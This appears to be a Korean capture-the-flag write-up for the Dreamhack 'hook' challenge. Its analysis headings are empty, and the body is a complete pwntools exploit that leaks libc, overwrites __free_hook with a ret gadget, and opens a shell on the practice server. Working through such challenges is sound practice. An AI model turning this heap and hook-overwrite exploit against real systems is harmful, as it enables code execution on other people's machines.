

환경 분석

취약점 분석

공격 설계

ROPgadget --binary hook | grep "ret"의 결과중 아무것도 안하고 넘어가는 ret 선택

익스플로잇 코드
from pwn import *
# 1. 연결 설정
p = remote('host3.dreamhack.games', 18390)
libc = ELF('./libc-2.23.so')
elf = ELF('./hook')
# 2. Libc Leak & 주소 계산 (pwntools symbols 활용)
p.recvuntil(b"stdout: ")
stdout_addr = int(p.recvline(), 16)
# libc.symbols는 readelf/nm 역할을 자동으로 수행함
libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
log.info(f"Libc base: {hex(libc_base)}")
log.info(f"__free_hook: {hex(free_hook)}")
# 3. ret 가젯 설정 (가젯 목록 중 확인된 주소)
# 0x0000000000400751 : ret
ret_gadget = 0x400751
# 4. Exploit: free_hook을 ret로 덮어서 지뢰 무력화
p.sendlineafter(b"Size: ", b"16")
# Where: __free_hook / What: ret_gadget
payload = p64(free_hook) + p64(ret_gadget)
p.sendafter(b"Data: ", payload)
p.sendline(b"cat flag")
# 5. 셸 획득 (Double Free를 넘어서 system("/bin/sh") 실행)
p.interactive()